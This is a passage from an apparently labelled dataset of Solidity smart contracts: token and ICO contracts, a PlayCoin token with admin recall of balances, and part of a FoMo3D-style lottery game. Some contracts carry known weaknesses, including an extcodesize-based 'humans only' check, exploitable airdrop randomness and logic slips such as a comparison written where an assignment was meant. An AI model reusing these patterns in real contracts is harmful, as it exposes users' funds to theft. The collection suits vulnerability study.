uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract MDKToken is MintableToken, PausableToken {
string public constant name = "MDKToken";
string public constant symbol = "MDK";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
TokenTimelock public reserveTokens;
TokenVesting public teamTokens;
address public PreICO = address(0);
address public ICO = address(0);
function MDKToken(address _teamFund) public {
lockTeamTokens(_teamFund);
lockReserveTokens(_teamFund);
mint(_teamFund, 250000000 * (10 ** uint256(decimals)));
pause();
}
function lockTeamTokens(address _teamFund) private {
teamTokens = new TokenVesting(_teamFund, now, 90 days, 1095 days, false);
mint(teamTokens, 200000000 * (10 ** uint256(decimals)));
}
function lockReserveTokens(address _teamFund) private {
reserveTokens = new TokenTimelock(this, _teamFund, uint64(now + 1 years));
mint(reserveTokens, 50000000 * (10 ** uint256(decimals)));
}
function startICO(address _icoAddress) onlyOwner public {
require(ICO == address(0));
require(PreICO != address(0));
require(_icoAddress != address(0));
ICO = _icoAddress;
transferOwnership(_icoAddress);
}
function startPreICO(address _icoAddress) onlyOwner public {
require(PreICO == address(0));
require(_icoAddress != address(0));
PreICO = _icoAddress;
transferOwnership(_icoAddress);
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract MDKICO is TokensCappedCrowdsale(MDKICO.TOKENS_CAP), FinalizableCrowdsale, BonusCrowdsale(MDKICO.TOKEN_USDCENT_PRICE) {
uint8 public constant decimals = 18;
uint256 constant TOKENS_CAP = 600000000 * (10 ** uint256(decimals));
uint256 public constant TOKEN_USDCENT_PRICE = 18;
event RateChange(uint256 rate);
function MDKICO(
uint _startTime,
uint _endTime,
uint256 _rate,
address _token,
address _teamWallet
) public
Crowdsale(_startTime, _endTime, _rate, _teamWallet)
{
require(_token != address(0));
token = MintableToken(_token);
}
function setRate(uint256 _rate) external onlyOwner {
require(_rate != 0x0);
rate = _rate;
RateChange(_rate);
}
function buyForBitcoin(address _beneficiary, uint256 tokens) public onlyOwner {
mintTokens(_beneficiary, tokens);
}
function mintTokens(address beneficiary, uint256 tokens) public onlyOwner {
require(beneficiary != 0);
require(tokens > 0);
require(now <= endTime);
require(!isFinalized);
require(token.totalSupply().add(tokens) <= TOKENS_CAP);
token.mint(beneficiary, tokens);
}
function setEndTime(uint256 _endTime) external onlyOwner {
require(!isFinalized);
require(_endTime >= startTime);
require(_endTime >= now);
endTime = _endTime;
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
function finalization() internal {
token.transferOwnership(owner);
}
} | 1 | 3,687 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PlayCoin is StandardToken {
string public symbol;
string public name;
uint8 public decimals = 9;
uint noOfTokens = 1000000000;
address internal vault;
address internal owner;
address internal admin;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event VaultChanged(address indexed previousVault, address indexed newVault);
event AdminChanged(address indexed previousAdmin, address indexed newAdmin);
event ReserveChanged(address indexed _address, uint amount);
event Recalled(address indexed from, uint amount);
event MsgAndValue(string message, bytes32 value);
mapping(address => uint) public reserves;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyVault() {
require(msg.sender == vault);
_;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyAdminOrVault() {
require(msg.sender == vault || msg.sender == admin);
_;
}
modifier onlyOwnerOrVault() {
require(msg.sender == owner || msg.sender == vault);
_;
}
modifier onlyAdminOrOwner() {
require(msg.sender == owner || msg.sender == admin);
_;
}
modifier onlyAdminOrOwnerOrVault() {
require(msg.sender == owner || msg.sender == vault || msg.sender == admin);
_;
}
constructor (string _symbol, string _name, address _owner, address _admin, address _vault) public {
require(bytes(_symbol).length > 0);
require(bytes(_name).length > 0);
totalSupply_ = noOfTokens * (10 ** uint(decimals));
symbol = _symbol;
name = _name;
owner = _owner;
admin = _admin;
vault = _vault;
balances[vault] = totalSupply_;
emit Transfer(address(0), vault, totalSupply_);
}
function setReserve(address _address, uint _reserve) public onlyAdmin {
require(_reserve <= totalSupply_);
require(_address != address(0));
reserves[_address] = _reserve;
emit ReserveChanged(_address, _reserve);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balanceOf(msg.sender) - _value >= reserveOf(msg.sender));
return super.transfer(_to, _value);
}
function setVault(address _newVault) public onlyOwner {
require(_newVault != address(0));
require(_newVault != vault);
address _oldVault = vault;
vault = _newVault;
emit VaultChanged(_oldVault, _newVault);
uint _value = balances[_oldVault];
balances[_oldVault] = 0;
balances[_newVault] = balances[_newVault].add(_value);
allowed[_newVault][msg.sender] = 0;
reserves[_newVault] = 0;
emit Transfer(_oldVault, _newVault, _value);
}
function setOwner(address _newOwner) public onlyVault {
require(_newOwner != address(0));
require(_newOwner != owner);
owner = _newOwner;
emit OwnerChanged(owner, _newOwner);
}
function setAdmin(address _newAdmin) public onlyOwnerOrVault {
require(_newAdmin != address(0));
require(_newAdmin != admin);
admin = _newAdmin;
emit AdminChanged(admin, _newAdmin);
}
function recall(address _from, uint _amount) public onlyAdmin {
require(_from != address(0));
require(_amount > 0);
uint currentReserve = reserveOf(_from);
uint currentBalance = balanceOf(_from);
require(currentReserve >= _amount);
require(currentBalance >= _amount);
uint newReserve = currentReserve - _amount;
reserves[_from] = newReserve;
emit ReserveChanged(_from, newReserve);
balances[_from] = balances[_from].sub(_amount);
balances[vault] = balances[vault].add(_amount);
emit Transfer(_from, vault, _amount);
emit Recalled(_from, _amount);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances[_from].sub(reserves[_from]));
return super.transferFrom(_from, _to, _value);
}
function getOwner() public view onlyAdminOrOwnerOrVault returns (address) {
return owner;
}
function getVault() public view onlyAdminOrOwnerOrVault returns (address) {
return vault;
}
function getAdmin() public view onlyAdminOrOwnerOrVault returns (address) {
return admin;
}
function getOnePlayCoin() public view returns (uint) {
return (10 ** uint(decimals));
}
function getMaxNumberOfTokens() public view returns (uint) {
return noOfTokens;
}
function reserveOf(address _address) public view returns (uint _reserve) {
return reserves[_address];
}
function reserve() public view returns (uint _reserve) {
return reserves[msg.sender];
}
} | 1 | 4,146 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FomoSuper is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149);
address private admin = msg.sender;
string constant public name = "f3dplus";
string constant public symbol = "f3dplus";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 8 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
